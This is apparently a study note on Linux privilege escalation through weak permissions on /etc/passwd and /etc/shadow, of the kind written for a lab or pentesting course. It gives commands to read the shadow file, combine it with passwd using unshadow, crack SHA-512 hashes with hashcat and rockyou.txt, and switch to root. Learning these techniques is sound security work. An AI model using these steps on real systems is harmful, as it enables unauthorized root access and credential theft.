Search

Weak File Permissions

can you see passwd and shadow?

ls -la /etc/passwd
ls -la /etc/shadow

As a regular user, you should have read access to passwd so this is normal:

image

BUT

no read access to shadow

image

this is a no no.

Passwords in shadow file:

while /etc/passwd passwords get replaced by x, shadow does have the passwords!

root hash:

image

How to escalate:

  • If you have write access, you can get rid of the x in passwd, and since the account doesn’t have a password anymore, you can access it. Like root:
    • sudo su -
  • You can change the user group for other users if you have the write access.
  • You can change the ID to 0 and become root.

What can you do?

  1. Copy the /etc/passwd and /etc/shadow on your machine:
mousepad passwd
#and paste contents
mousepad shadow
#and paste contents
  1. Use unshadow tool in Kali:
unshadow #for syntax
unshadow passwd shadow

Take the output and save the users with hashes (we need them for hashcat (on PC)):

mousepad unshadowed

Figure out the hash type:

Google

hashcat hash types

example_hashes [hashcat wiki]

since the hash starts with $6$, we can ctrl+f for it in the example page and we get:

image
hashcat -m 1800 unshadowed.txt rockyou.txt -O
image

Now we have a password we can switch user with:

su root
password123